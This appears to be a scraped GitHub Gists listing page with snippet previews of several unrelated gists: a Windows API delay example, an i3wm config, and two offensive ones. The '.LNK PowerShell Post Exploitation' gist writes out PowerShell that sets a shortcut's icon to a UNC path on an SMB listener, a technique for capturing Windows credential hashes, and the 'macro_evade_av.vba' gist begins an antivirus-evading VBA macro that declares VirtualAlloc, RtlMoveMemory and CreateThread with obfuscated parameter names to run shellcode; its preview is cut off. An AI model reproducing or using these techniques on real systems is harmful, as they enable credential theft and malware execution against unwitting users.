prachauthit

mesaleh / ZwDelayExecution1.cpp

Last active June 7, 2021 10:22

	/*
	http://moustafasaleh.blogspot.com/ (@msaleh83)
	Example of dynamically linking ZwDelayExecution Windows internal API

	compile:
	cl ZwDelayExecution1.cpp kernel32.lib user32.lib
	gcc ZwDelayExecution1.cpp -o ZwDelayExecution1.exe
	*/

	#define UNICODE

breakersall / .LNK PowerShell Post Exploitation

Created September 29, 2016 23:22

Create .LNK UNC path via PS

	$LinkedEXE = "$env:SystemRoot\System32\notepad.exe"
	$LNKSaveFile = "pathtosavelnk"
	$WScriptShell = New-Object -ComObject Wscript.Shell
	$Shortcut = $WScriptShell.CreateShortcut($LNKSaveFile)
	$Shortcut.TargetPath = $LinkedEXE
	$Shortcut.IconLocation = "\\IPOFSMBLISTENER\images\images.ico"
	$Shortcut.save()

it-is-michal / awesome_i3wm.md

Last active November 24, 2024 21:24

My current i3wm config

Awesome i3wm

Arno0x / macro_evade_av.vba

Last active October 12, 2023 23:19

Load shellcode in macro, from bibliography souce

	#If VBA7 Then
	Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As LongPtr
	Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As LongPtr
	Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As LongPtr, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As LongPtr
	#Else
	Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As Long
	Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As Long
	Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As Long, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As Long
	#End If